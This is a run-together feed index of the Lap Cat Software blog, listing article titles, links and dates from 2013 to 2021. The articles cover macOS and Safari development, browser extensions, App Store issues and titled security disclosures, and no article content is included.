https://lapcatsoftware.com/articles/2021-6-11.html 2021-06-11T16:45:00Z 2021-06-11T16:45:00Z StopTheMadness for iOS https://lapcatsoftware.com/articles/StopTheMadness-iOS.html 2021-06-08T16:55:00Z 2021-06-08T16:55:00Z Disable Safari Preload Top Hit https://lapcatsoftware.com/articles/preload-top-hit.html 2021-05-19T14:15:00Z 2021-05-19T14:15:00Z Mac trustd high CPU https://lapcatsoftware.com/articles/trustd.html 2021-05-11T13:00:00Z 2021-05-11T13:00:00Z Porting your Chrome extension to Safari https://lapcatsoftware.com/articles/chrome-extension.html 2021-04-29T14:05:00Z 2021-04-29T14:05:00Z StopTheMadness: Hovering near greatness https://lapcatsoftware.com/articles/hovering.html 2021-04-21T16:10:00Z 2021-04-21T16:10:00Z Mac App Store review folly https://lapcatsoftware.com/articles/review-folly.html 2021-04-19T13:30:00Z 2021-04-19T13:30:00Z NSURL is a bad host https://lapcatsoftware.com/articles/NSURL.html 2021-04-10T13:50:00Z 2021-04-10T13:50:00Z Distributing unnotarized Mac apps in a text file https://lapcatsoftware.com/articles/textedit-gatekeeper.html 2021-04-03T02:15:00Z 2021-04-03T02:15:00Z How to stop Mac App Store notifications https://lapcatsoftware.com/articles/mas-notifications.html 2021-03-29T17:30:00Z 2021-03-29T17:30:00Z Closing web browser windows doesn't close connections https://lapcatsoftware.com/articles/closing.html 2021-03-17T13:40:00Z 2021-03-17T13:40:00Z TRY THE NEW SAFARI https://lapcatsoftware.com/articles/TRYTHENEWSAFARI.html 2021-03-08T16:50:00Z 2021-03-08T16:50:00Z Distributing Mac apps without notarization https://lapcatsoftware.com/articles/without-notarization.html 2021-03-07T14:30:00Z 2021-03-07T14:30:00Z New app: Default web browser https://lapcatsoftware.com/articles/default-browser-bs2.html 2021-03-05T22:20:00Z 2021-03-05T22:20:00Z How to use multiple search engines in Safari https://lapcatsoftware.com/articles/search-engines.html 2021-03-03T01:50:00Z 2021-03-03T01:50:00Z Mac App Store updates failing on Mojave, Part 2 https://lapcatsoftware.com/articles/mas-updates2.html 2021-02-26T16:30:00Z 2021-02-26T16:30:00Z Xcode code signing madness https://lapcatsoftware.com/articles/codesigning.html 2021-02-23T16:00:00Z 2021-02-23T16:00:00Z Deleting DerivedData the right way https://lapcatsoftware.com/articles/DerivedData.html 2021-01-31T13:00:00Z 2021-02-02T02:15:00Z New app: Stop The Mac App Store https://lapcatsoftware.com/articles/stop-the-mac-app-store.html 2021-01-12T15:30:00Z 2021-02-02T02:14:00Z How to change your default web browser on Big Sur https://lapcatsoftware.com/articles/default-browser-bs.html 2021-01-06T15:00:00Z 2021-02-02T02:13:00Z Mac App Store updates failing on Mojave https://lapcatsoftware.com/articles/mas-updates.html 2020-12-29T19:15:00Z 2020-12-29T19:15:00Z Undocumented NSShadow change on Catalina https://lapcatsoftware.com/articles/shadow.html 2020-12-18T17:50:00Z 2020-12-18T17:50:00Z Disclosure: Yet another macOS privacy protections bypass https://lapcatsoftware.com/articles/disclosure3.html 2020-12-01T14:35:00Z 2020-12-01T14:35:00Z Some BS AppKit notes https://lapcatsoftware.com/articles/BSAppKit.html 2020-11-28T00:15:00Z 2020-11-28T00:15:00Z Safari bugs me https://lapcatsoftware.com/articles/Safari-bugs.html 2020-11-18T17:25:00Z 2020-11-18T17:25:00Z Apple Developer ID OCSP https://lapcatsoftware.com/articles/ocsp.html 2020-11-14T02:55:00Z 2020-11-14T02:55:00Z Developer ID certificate revocation https://lapcatsoftware.com/articles/revocation.html 2020-10-29T15:25:00Z 2020-10-29T15:25:00Z Chrome exempts Google sites from user site data settings https://lapcatsoftware.com/articles/chrome-google.html 2020-10-07T14:50:00Z 2020-10-07T14:50:00Z Stop animated GIFs in Safari https://lapcatsoftware.com/articles/gif.html 2020-10-01T16:10:00Z 2020-10-01T16:10:00Z Can't you just right click? Yes, with a workflow. https://lapcatsoftware.com/articles/right-click.html 2020-09-27T18:15:00Z 2020-09-27T18:15:00Z macOS Containers and defaults https://lapcatsoftware.com/articles/containers.html 2020-09-22T14:45:00Z 2020-09-22T14:45:00Z Safari web extension bug https://lapcatsoftware.com/articles/web-extension-bug.html 2020-09-17T22:35:00Z 2020-09-17T22:35:00Z Stop Facebook click tracking https://lapcatsoftware.com/articles/facebook.html 2020-09-11T16:40:00Z 2020-09-11T16:40:00Z Your Honor, what about the Mac? https://lapcatsoftware.com/articles/your-honor.html 2020-08-27T16:00:00Z 2020-08-27T16:00:00Z Can't you just right click? https://lapcatsoftware.com/articles/unsigned.html 2020-08-18T13:30:00Z 2020-08-18T13:30:00Z App Store is neither console nor retail but jukebox https://lapcatsoftware.com/articles/jukebox.html 2020-08-15T19:25:00Z 2020-08-15T19:25:00Z News+ privacy on Big Sur https://lapcatsoftware.com/articles/news.html 2020-08-11T15:10:00Z 2020-08-11T15:10:00Z PSA if you ever ran my SafariPrivacyTest sample app https://lapcatsoftware.com/articles/PSA.html 2020-07-31T20:50:00Z 2020-07-31T20:50:00Z Stop the Swift 2.0 https://lapcatsoftware.com/articles/StopTheSwift2.html 2020-07-29T15:15:00Z 2020-07-29T15:15:00Z App Store Connect and StopTheMadness https://lapcatsoftware.com/articles/AppStoreConnect.html 2020-07-23T15:25:00Z 2020-07-23T15:25:00Z Stop the Swift https://lapcatsoftware.com/articles/StopTheSwift.html 2020-07-15T00:25:00Z 2020-07-15T00:25:00Z macOS Recovery: Bug or Feature? https://lapcatsoftware.com/articles/recovery.html 2020-07-09T21:20:00Z 2020-07-09T21:20:00Z Introducing the free Safari extension FindTheMadness https://lapcatsoftware.com/articles/FindTheMadness.html 2020-07-06T20:35:00Z 2020-07-06T20:35:00Z Disclosure: Another macOS privacy protections bypass https://lapcatsoftware.com/articles/disclosure2.html 2020-06-30T12:00:00Z 2020-06-30T12:00:00Z Better disassembly on macOS Big Sur https://lapcatsoftware.com/articles/bigsur3.html 2020-06-27T17:15:00Z 2020-06-27T17:15:00Z Objective-C disassembly on macOS Big Sur https://lapcatsoftware.com/articles/bigsur2.html 2020-06-25T15:50:00Z 2020-06-25T15:50:00Z Extract the system libraries on macOS Big Sur https://lapcatsoftware.com/articles/bigsur.html 2020-06-25T00:55:00Z 2020-06-25T00:55:00Z Stop DuckDuckGo clickjacking https://lapcatsoftware.com/articles/duckduckgo.html 2020-06-15T16:15:00Z 2020-06-15T16:15:00Z StopTheMadness can now stop mouse tracking https://lapcatsoftware.com/articles/mouse-tracking.html 2020-06-01T13:35:00Z 2020-06-01T13:35:00Z Logging https requests and responses of Apple system processes https://lapcatsoftware.com/articles/logging-https.html 2020-05-31T11:30:00Z 2020-05-31T11:30:00Z Software Update changes in the latest macOS releases https://lapcatsoftware.com/articles/software-update.html 2020-05-27T00:20:00Z 2020-05-27T00:20:00Z The Mystery of the Phantom App Updates, Part 2 https://lapcatsoftware.com/articles/mystery-phantom-app-updates2.html 2020-05-25T21:50:00Z 2020-05-25T21:50:00Z Catalina is checking notarization of unsigned executables https://lapcatsoftware.com/articles/catalina-executables.html 2020-05-23T03:00:00Z 2020-05-23T03:05:00Z Link Unshortener for iOS https://lapcatsoftware.com/articles/link-unshortener-ios.html 2020-05-19T18:45:00Z 2020-05-19T18:45:00Z __kindof useful? https://lapcatsoftware.com/articles/kindof.html 2020-05-17T14:35:00Z 2020-05-17T14:35:00Z Stop the Daring Fireball? https://lapcatsoftware.com/articles/daring-fireball.html 2020-05-11T18:10:00Z 2020-05-11T18:10:00Z Stop 'Open in the Twitter app' in Safari Catalina https://lapcatsoftware.com/articles/universal-links.html 2020-05-08T23:25:00Z 2020-05-08T23:25:00Z Stop Gmail click tracking https://lapcatsoftware.com/articles/gmail.html 2020-05-06T17:30:00Z 2020-05-06T17:30:00Z Reflections on the Mac sandbox escape https://lapcatsoftware.com/articles/sandbox-escape2.html 2020-04-30T14:00:00Z 2020-04-30T14:00:00Z Mac sandbox escape https://lapcatsoftware.com/articles/sandbox-escape.html 2020-04-27T19:45:00Z 2020-04-27T19:45:00Z NSFormatter allows invalid values https://lapcatsoftware.com/articles/NSFormatter.html 2020-04-25T15:10:00Z 2020-04-25T15:10:00Z Working without a nib, Part 12: NSWindow memory management https://lapcatsoftware.com/articles/working-without-a-nib-part-12.html 2020-04-21T15:50:00Z 2020-04-21T15:50:00Z Bad Safari extensions bug with context menus https://lapcatsoftware.com/articles/contextmenu.html 2020-04-20T16:50:00Z 2020-04-20T16:50:00Z Introducing Link Unshortener https://lapcatsoftware.com/articles/link-unshortener.html 2020-04-14T23:15:00Z 2020-04-14T23:15:00Z Xcode indexing tip https://lapcatsoftware.com/articles/xcode-indexing-tip.html 2020-04-12T19:45:00Z 2020-04-12T19:45:00Z Resources for learning Objective-C and AppKit https://lapcatsoftware.com/articles/learning.html 2020-04-01T14:40:00Z 2020-04-01T14:40:00Z Underpass is back (though it never left) https://lapcatsoftware.com/articles/underpass.html 2020-03-30T19:45:00Z 2020-03-30T19:45:00Z Safari bug: can't enable extensions on Catalina https://lapcatsoftware.com/articles/enable-extensions.html 2020-03-25T17:20:00Z 2020-03-25T17:20:00Z Safari no longer runs disabled extensions https://lapcatsoftware.com/articles/Safari-runs-disabled-extensions2.html 2020-03-24T23:20:00Z 2020-03-24T23:20:00Z Mac App Store in a nutshell https://lapcatsoftware.com/articles/nutshell.html 2020-03-23T13:45:00Z 2020-03-23T13:45:00Z PayPal Me https://lapcatsoftware.com/articles/paypalme.html 2020-03-18T21:55:00Z 2020-03-18T21:55:00Z Resolve rip-relative addresses from otool https://lapcatsoftware.com/articles/rip-relative.html 2020-03-08T14:10:00Z 2020-03-08T14:10:00Z The decimation of Safari extensions https://lapcatsoftware.com/articles/decimation.html 2020-03-02T21:00:00Z 2020-03-02T21:00:00Z StopTheMadness for Mac adds Chrome, Edge, and Brave! https://lapcatsoftware.com/articles/StopTheMadness11.html 2020-02-13T16:20:00Z 2020-02-13T16:20:00Z Safari runs disabled extensions https://lapcatsoftware.com/articles/Safari-runs-disabled-extensions.html 2020-01-26T16:40:00Z 2020-01-26T16:40:00Z Swift fatalError is a fatal error https://lapcatsoftware.com/articles/fatalError.html 2020-01-15T16:50:00Z 2020-01-15T16:50:00Z Questions about the Apple Security Bounty https://lapcatsoftware.com/articles/apple-security-bounty.html 2020-01-13T21:00:00Z 2020-01-13T21:00:00Z The security of Safari extensions https://lapcatsoftware.com/articles/security-safari-extensions.html 2020-01-08T17:45:00Z 2020-01-08T17:45:00Z How to stop Safari for Mac disk caching https://lapcatsoftware.com/articles/Safari-caching.html 2020-01-06T21:30:00Z 2020-01-06T21:30:00Z Revisited: The true and false security benefits of Mac app notarization https://lapcatsoftware.com/articles/notarization2.html 2019-12-21T20:40:00Z 2019-12-21T20:40:00Z Undocumented Catalina file access change https://lapcatsoftware.com/articles/macl.html 2019-12-18T15:45:00Z 2019-12-18T15:45:00Z Hardened Runtime and XPC Services https://lapcatsoftware.com/articles/hardened-runtime-xpc.html 2019-11-09T19:55:00Z 2019-11-09T19:55:00Z NSAssert considered harmless https://lapcatsoftware.com/articles/NSAssert.html 2019-11-08T19:50:00Z 2019-11-08T19:50:00Z Hardened Runtime and Sandboxing Revisited https://lapcatsoftware.com/articles/hardened-runtime-sandboxing2.html 2019-11-07T19:10:00Z 2019-11-07T19:10:00Z Disclosure: macOS privacy protections bypass https://lapcatsoftware.com/articles/disclosure.html 2019-10-09T13:10:00Z 2019-10-09T13:10:00Z What happened to the Mac bug bounty program? https://lapcatsoftware.com/articles/bug-bounty.html 2019-10-08T14:10:00Z 2019-10-08T14:10:00Z The Safari Extensions Gallery is no longer available https://lapcatsoftware.com/articles/Safari-extensions-gallery2.html 2019-09-04T15:30:00Z 2019-09-04T15:30:00Z Important Information Regarding the Safari Extensions Gallery https://lapcatsoftware.com/articles/Safari-extensions-gallery.html 2019-08-27T22:35:00Z 2019-08-27T22:35:00Z A problem worse than Zoom https://lapcatsoftware.com/articles/zoom.html 2019-07-11T14:50:00Z 2019-07-11T14:50:00Z Stop Safari from autosubmitting login forms https://lapcatsoftware.com/articles/Safari-autosubmit.html 2019-07-02T13:20:00Z 2019-07-02T13:20:00Z Private browsing in Safari with StopTheMadness https://lapcatsoftware.com/articles/private-browsing.html 2019-06-10T14:35:00Z 2019-06-10T14:35:00Z Catalina app compatibility https://lapcatsoftware.com/articles/catalina.html 2019-06-07T16:20:00Z 2019-06-07T16:20:00Z My Twitter account has been locked for a third time https://lapcatsoftware.com/articles/twitter3.html 2019-06-06T14:55:00Z 2019-06-06T14:55:00Z We believe that what’s in our store says a lot about who we are https://lapcatsoftware.com/articles/appstore.html 2019-05-30T14:45:00Z 2019-05-30T14:45:00Z Introducing StopTheNews https://lapcatsoftware.com/articles/StopTheNews.html 2019-05-04T17:45:00Z 2019-05-04T17:45:00Z StopTheMadness First Anniversary https://lapcatsoftware.com/articles/anniversary.html 2019-04-30T14:15:00Z 2019-04-30T14:15:00Z Google Chrome can no longer disable hyperlink auditing https://lapcatsoftware.com/articles/chrome-hyperlink-auditing.html 2019-04-23T23:00:00Z 2019-04-23T23:00:00Z The true and false security benefits of Mac app notarization https://lapcatsoftware.com/articles/notarization.html 2019-04-21T17:35:00Z 2019-04-21T17:35:00Z More madness stopped: beacons https://lapcatsoftware.com/articles/Safari-link-tracking4.html 2019-04-18T01:20:00Z 2019-04-18T01:20:00Z The madness stopped: anchor ping https://lapcatsoftware.com/articles/Safari-link-tracking3.html 2019-04-13T13:45:00Z 2019-04-13T13:45:00Z Postmortem: iTunes Affiliate for apps https://lapcatsoftware.com/articles/affiliate.html 2019-04-10T15:00:00Z 2019-04-10T15:00:00Z Some thoughts on anchor ping https://lapcatsoftware.com/articles/Safari-link-tracking2.html 2019-04-08T14:30:00Z 2019-04-08T14:30:00Z Safari link tracking can no longer be disabled https://lapcatsoftware.com/articles/Safari-link-tracking.html 2019-04-03T23:30:00Z 2019-04-03T23:30:00Z NetService NutHouse https://lapcatsoftware.com/articles/netservice-nuthouse.html 2019-03-14T14:15:00Z 2019-03-14T14:15:00Z My Twitter account has been locked again https://lapcatsoftware.com/articles/twitter-locked-again.html 2019-02-25T01:00:00Z 2019-02-25T01:00:00Z Finally credit from Apple Product Security https://lapcatsoftware.com/articles/finally-credit.html 2019-02-18T15:45:00Z 2019-02-18T15:45:00Z Spying on Safari in Mojave https://lapcatsoftware.com/articles/mojave-privacy3.html 2019-02-09T15:30:00Z 2019-02-09T15:30:00Z Still no credit from Apple Product Security https://lapcatsoftware.com/articles/still-no-credit.html 2019-02-08T15:10:00Z 2019-02-08T15:10:00Z Stop Google Search Results Tracking https://lapcatsoftware.com/articles/google-search.html 2019-01-17T19:05:00Z 2019-01-17T19:05:00Z StopTheMadness for Firefox https://lapcatsoftware.com/articles/StopTheMadness-Firefox.html 2019-01-16T22:40:00Z 2019-01-16T22:40:00Z The Mac App Store Safari Extensions Experience https://lapcatsoftware.com/articles/mas-safari-extensions.html 2018-12-21T17:35:00Z 2018-12-21T17:35:00Z Text view adventures, Part 4 https://lapcatsoftware.com/articles/textview4.html 2018-12-14T17:30:00Z 2018-12-14T17:30:00Z Text view adventures, Part 3 https://lapcatsoftware.com/articles/textview3.html 2018-12-12T15:35:00Z 2018-12-12T15:35:00Z Mac app notarization and customer privacy https://lapcatsoftware.com/articles/notarization-privacy.html 2018-12-06T14:55:00Z 2018-12-06T14:55:00Z Text view adventures, Part 2 https://lapcatsoftware.com/articles/textview2.html 2018-12-05T15:30:00Z 2018-12-05T15:30:00Z Text view adventures, Part 1 https://lapcatsoftware.com/articles/textview1.html 2018-12-01T21:00:00Z 2018-12-01T21:00:00Z Hardened Runtime and Sandboxing https://lapcatsoftware.com/articles/hardened-runtime-sandboxing.html 2018-11-16T14:45:00Z 2018-11-16T14:45:00Z macOS 10.14.1 Privacy: What's fixed and what's not https://lapcatsoftware.com/articles/mojave-privacy2.html 2018-11-03T02:00:00Z 2018-11-03T02:00:00Z Mac App Store Bundles https://lapcatsoftware.com/articles/bundles.html 2018-11-01T14:00:00Z 2018-11-01T14:00:00Z Rickroll Resurrected https://lapcatsoftware.com/articles/rickroll.html 2018-10-26T14:45:00Z 2018-10-26T14:45:00Z Mac Mail with Google 2-step and Yubico https://lapcatsoftware.com/articles/mail2step.html 2018-10-16T20:05:00Z 2018-10-16T20:05:00Z Another hole in Mojave privacy protection https://lapcatsoftware.com/articles/mojave-privacy.html 2018-09-26T20:20:00Z 2018-09-26T20:20:00Z No cookie for you! https://lapcatsoftware.com/articles/nocookie.html 2018-09-20T21:10:00Z 2018-09-20T21:10:00Z Prevent App Nap Programmatically https://lapcatsoftware.com/articles/prevent-app-nap.html 2018-08-22T16:55:00Z 2018-08-22T16:55:00Z Race to Under the Bottom https://lapcatsoftware.com/articles/race-to-under-the-bottom.html 2018-08-07T17:30:00Z 2018-08-07T17:30:00Z Stop The Mad Icon https://lapcatsoftware.com/articles/stop-the-mad-icon.html 2018-07-26T16:40:00Z 2018-07-26T16:40:00Z Ode to a MacBook Pro https://lapcatsoftware.com/articles/macbookpro.html 2018-07-12T18:00:00Z 2018-07-12T18:00:00Z NSOnState is deprecated https://lapcatsoftware.com/articles/NSOnState.html 2018-07-01T16:50:00Z 2018-07-02T14:05:00Z Debugging on Mojave https://lapcatsoftware.com/articles/debugging-mojave.html 2018-06-11T13:55:00Z 2018-06-11T13:55:00Z App Translocation and Safari App Extensions https://lapcatsoftware.com/articles/translocation-safari.html 2018-05-21T15:55:00Z 2018-05-21T15:55:00Z My Twitter account has been locked https://lapcatsoftware.com/articles/twitter-locked.html 2018-05-16T11:50:00Z 2018-05-16T11:50:00Z Stop The Madness https://lapcatsoftware.com/articles/StopTheMadness.html 2018-04-30T15:43:00Z 2018-04-30T15:43:00Z A Record 13 Weeks http://lapcatsoftware.com/articles/13weeks.html 2018-02-01T22:55:00Z 2018-02-01T22:55:00Z A holiday gift http://lapcatsoftware.com/articles/holiday-gift.html 2017-12-27T16:30:00Z 2017-12-27T16:30:00Z Key difference between Dictionary and NSDictionary http://lapcatsoftware.com/articles/key-difference.html 2017-12-04T16:30:00Z 2017-12-04T16:30:00Z The Mystery of the Phantom App Updates http://lapcatsoftware.com/articles/mystery-phantom-app-updates.html 2017-11-24T16:30:00Z 2017-11-24T16:30:00Z Working without a nib, Part 11: Why? http://lapcatsoftware.com/articles/working-without-a-nib-part-11.html 2017-10-20T13:15:00Z 2017-10-20T13:15:00Z Local variables are still free, in Swift http://lapcatsoftware.com/articles/local-variables-are-still-free.html 2017-10-14T15:45:00Z 2017-10-14T15:45:00Z Free as in app http://lapcatsoftware.com/articles/free-as-in-app.html 2017-10-09T16:25:00Z 2017-10-09T16:25:00Z NSStringEncoding Considered Harmful http://lapcatsoftware.com/articles/nsstringencoding.html 2017-09-01T17:45:00Z 2017-09-01T17:45:00Z Go all in with xcconfig http://lapcatsoftware.com/articles/xcconfig.html 2017-08-23T18:30:00Z 2017-08-23T18:30:00Z NSNotificationCenter is thread-safe NOT NOT http://lapcatsoftware.com/articles/nsnotificationcenter-is-threadsafe.html 2017-07-24T16:00:00Z 2017-07-24T16:00:00Z Working without a nib, Part 10: Mac Main Menu http://lapcatsoftware.com/articles/working-without-a-nib-part-10.html 2017-06-29T15:00:00Z 2017-06-29T15:00:00Z I was on a podcast http://lapcatsoftware.com/articles/podcast.html 2017-06-27T17:00:00Z 2017-06-27T17:00:00Z Porting Objective-C to Swift http://lapcatsoftware.com/articles/porting.html 2017-06-19T15:10:00Z 2017-06-19T15:10:00Z Problems with Objective-C annotations http://lapcatsoftware.com/articles/annotations.html 2017-04-15T16:10:00Z 2017-04-15T16:10:00Z Not just the Mac Pro http://lapcatsoftware.com/articles/not-just-mac-pro.html 2017-04-04T17:00:00Z 2017-04-04T17:00:00Z Twitter only mutes 100 keywords http://lapcatsoftware.com/articles/twitter-mute.html 2017-04-02T17:00:00Z 2017-04-02T17:00:00Z Autoresizing UITextView http://lapcatsoftware.com/articles/autoresizing-uitextview.html 2017-02-28T16:30:00Z 2017-02-28T16:30:00Z Whither Swift? http://lapcatsoftware.com/articles/whither-swift.html 2017-02-14T18:20:00Z 2017-02-01T18:20:00Z Follow-up on a Record 14 Weeks http://lapcatsoftware.com/articles/14weeks-followup.html 2017-02-04T16:00:00Z 2017-02-04T16:00:00Z Slow Week? http://lapcatsoftware.com/articles/slow-week.html 2017-02-03T01:30:00Z 2017-02-03T01:30:00Z A Record 14 Weeks http://lapcatsoftware.com/articles/14weeks.html 2017-02-01T14:20:00Z 2017-02-01T14:20:00Z 70 Cents Put Me on the Mac App Store Charts http://lapcatsoftware.com/articles/70cents.html 2017-01-31T16:20:00Z 2017-01-31T16:20:00Z Working without a nib, Part 9: Shipping without a nib http://lapcatsoftware.com/articles/working-without-a-nib-part-9-shipping.html 2017-01-25T18:20:00Z 2017-01-25T18:20:00Z Inaugurating Underpass http://lapcatsoftware.com/articles/inaugurating-underpass.html 2017-01-18T15:15:00Z 2017-01-18T15:15:00Z Preannouncement http://lapcatsoftware.com/articles/preannouncement.html 2016-12-12T16:00:00Z 2016-12-12T16:00:00Z Textured Tabbed Windows http://lapcatsoftware.com/articles/textured-tabbed-windows.html 2016-12-05T14:25:00Z 2016-12-05T14:25:00Z We don't need no stinking badges http://lapcatsoftware.com/articles/we-dont-need-no-stinking-badges.html 2016-10-31T14:00:00Z 2016-10-31T14:00:00Z Working without a nib, Part 8: The nib awakens http://lapcatsoftware.com/articles/working-without-a-nib-part-8-the-nib-awakens.html 2016-10-17T18:00:00Z 2016-10-17T18:00:00Z Translocate Relocated http://lapcatsoftware.com/articles/translocate-relocated.html 2016-10-07T14:05:00Z 2016-10-07T14:05:00Z Distributing Outside the Mac App Store http://lapcatsoftware.com/articles/distributing-outside-the-mac-app-store.html 2016-10-07T01:05:00Z 2016-10-07T01:05:00Z Caveat Formatter http://lapcatsoftware.com/articles/caveat-formatter.html 2016-09-26T19:25:00Z 2016-09-26T19:25:00Z Symmetric Encryption http://lapcatsoftware.com/articles/symmetric-encryption.html 2016-09-25T02:30:00Z 2016-09-25T02:30:00Z Keychain Sync http://lapcatsoftware.com/articles/keychain-sync.html 2016-09-18T03:05:00Z 2016-09-18T03:05:00Z MIA: SecTranslocate http://lapcatsoftware.com/articles/mia-sectranslocate.html 2016-08-17T02:30:00Z 2016-08-17T02:30:00Z Detect App Translocation Without the 10.12 SDK http://lapcatsoftware.com/articles/detect-app-translocation.html 2016-07-26T13:30:00Z 2016-07-26T13:30:00Z Trust http://lapcatsoftware.com/articles/trust.html 2016-06-30T14:35:00Z 2016-06-30T14:35:00Z In Memoriam http://lapcatsoftware.com/articles/in-memoriam.html 2016-06-18T01:25:00Z 2016-06-18T01:25:00Z Undo http://lapcatsoftware.com/articles/undo.html 2016-06-16T15:45:00Z 2016-06-16T15:45:00Z Zero Day? http://lapcatsoftware.com/articles/zero-day.html 2016-06-16T01:15:00Z 2016-06-16T01:15:00Z App Translocation http://lapcatsoftware.com/articles/app-translocation.html 2016-06-14T22:50:00Z 2016-06-14T22:50:00Z What's Wrong With Twitter http://lapcatsoftware.com/articles/twitter.html 2016-04-18T13:40:00Z 2016-04-18T13:40:00Z SecTransformExecuteAsync Considered Confusing http://lapcatsoftware.com/articles/sectransformexecuteasync-considered-confusing.html 2015-12-29T17:00:00Z 2015-12-29T17:00:00Z The OpenSSL Blues http://lapcatsoftware.com/articles/openssl-blues.html 2015-10-03T15:50:00Z 2015-10-03T15:50:00Z Checking for El Capitan http://lapcatsoftware.com/articles/checking-for-el-capitan.html 2015-08-02T17:00:00Z 2015-08-02T17:00:00Z Validate Project Settings: Never! http://lapcatsoftware.com/articles/validate-project-settings-never.html 2015-04-03T17:40:00Z 2015-04-03T17:40:00Z Lack of Communication http://lapcatsoftware.com/articles/lack-of-communication.html 2014-09-23T13:00:00Z 2014-09-23T13:00:00Z Breaking the resource rules http://lapcatsoftware.com/articles/breaking-the-resource-rules.html 2014-08-05T14:30:00Z 2014-08-05T14:30:00Z NSNotificationCenter is thread-safe NOT http://lapcatsoftware.com/articles/nsnotificationcenter-is-threadsafe-not.html 2014-04-21T17:00:00Z 2014-04-21T17:00:00Z Cancel WWDC http://lapcatsoftware.com/articles/cancel-wwdc.html 2014-04-13T16:30:00Z 2014-04-13T16:30:00Z Dispatch Queues and Run Loop Modes http://lapcatsoftware.com/articles/dispatch-queues-and-run-loop-modes.html 2014-04-07T15:30:00Z 2014-04-07T15:30:00Z Mark Not All as Read http://lapcatsoftware.com/articles/mark-not-all-as-read.html 2014-04-06T14:30:00Z 2014-04-06T14:30:00Z Winter is Coming http://lapcatsoftware.com/articles/winter-is-coming.html 2014-04-05T18:00:00Z 2014-04-05T18:00:00Z The Definitive Guide to Installing Xcode 3 on Mountain Lion (Without Kernel Panics) http://lapcatsoftware.com/articles/xcode3onmountainlion.html 2013-05-05T18:00:00Z 2013-05-05T18:00:00Z SDK vs. Deployment Target http://lapcatsoftware.com/articles/sdkvsdeploymenttarget.html 2013-05-04T12:00:00Z 2013-05-05T12:00:00Z